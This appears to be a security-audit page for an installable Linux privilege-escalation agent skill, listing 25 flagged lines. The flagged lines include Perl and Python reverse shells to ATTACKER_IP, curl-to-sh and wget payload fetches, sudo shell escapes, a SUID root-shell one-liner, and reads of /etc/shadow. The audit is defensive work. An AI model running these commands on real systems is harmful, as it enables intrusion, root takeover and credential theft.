Linux Privilege Escalation
Enables systematic privilege escalation assessments on Linux systems to identify and exploit vulnerabilities for root access.
Install this skill
Security score
The Linux Privilege Escalation skill was audited on Feb 12, 2026 and we found 25 security issues across 4 threat categories, including 10 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 419 | perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" |
Piping content to sh shell
| 144 | curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh |
System command execution
| 227 | sudo awk 'BEGIN {system("/bin/bash")}' |
System command execution
| 230 | sudo python -c 'import os; os.system("/bin/bash")' |
System command execution
| 250 | system("/bin/bash"); |
System command execution
| 322 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
System command execution
| 366 | # Shows: system("service apache2 start") |
System command execution
| 386 | echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c |
Python os.system command execution
| 230 | sudo python -c 'import os; os.system("/bin/bash")' |
Python os.system command execution
| 322 | /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
Python subprocess execution
| 413 | python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' |
Wget to non-GitHub URL
| 163 | wget http://ATTACKER_IP:8000/linpeas.sh |
Wget to non-GitHub URL
| 199 | wget http://ATTACKER_IP/exploit.c |
Access to /etc/passwd
| 83 | cat /etc/passwd | grep -v nologin | grep -v false |
Access to /etc/passwd
| 86 | cat /etc/passwd | grep home |
Access to /etc/passwd
| 233 | sudo less /etc/passwd |
Access to /etc/passwd
| 293 | base64 /etc/passwd | base64 -d > passwd.txt |
Access to /etc/passwd
| 306 | # Add to /etc/passwd (using SUID editor) |
Access to /etc/shadow
| 276 | LFILE=/etc/shadow |
Access to /etc/shadow
| 292 | base64 /etc/shadow | base64 -d > shadow.txt |
Access to /etc/shadow
| 471 | $ base64 /etc/shadow | base64 -d |
External URL reference
| 163 | wget http://ATTACKER_IP:8000/linpeas.sh |
External URL reference
| 199 | wget http://ATTACKER_IP/exploit.c |
External URL reference
| 217 | Reference https://gtfobins.github.io for exploitation commands: |
External URL reference
| 423 | - GTFOBins: https://gtfobins.github.io |